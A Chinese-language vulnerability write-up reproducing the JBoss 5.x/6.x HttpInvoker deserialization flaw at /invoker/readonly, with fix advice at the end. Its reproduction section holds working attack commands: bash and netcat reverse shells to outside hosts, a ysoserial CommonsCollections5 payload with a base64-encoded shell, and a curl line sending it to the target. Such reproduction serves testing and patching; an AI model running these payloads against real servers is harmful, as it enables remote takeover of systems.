1.漏洞描述&环境搭建
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
2.漏洞复现
受影响版本:JBoss 5.x/6.x
该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化:
所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。(同上,路径不同,将文件以POST Body发送至/invoker/readonly即可:)
sh -i >& /dev/tcp/10.211.55.5/9999 0>&1
nc 10.10.10.10 9001 -e sh
nc.exe 10.10.10.10 9001 -e sh
nc -c sh 10.10.10.10 9001
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjExLjU1LjUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > fanshell2.ser
curl http://目标机ip:8080/invoker/readonly --data-binary @fanshell2.ser --output 1
3.修复建议
通过向http-invoker.sar的web.xml文件中的安全约束添加url-pattern>来保护对整个 http-invoker上下文的访问,不想使用http-invoker.sar可以将其删除。
方法一:修改web.xml文件
方法二:不需要http-invoker.sar组件的直接删除
方法三:升级jboss到jboss7x版本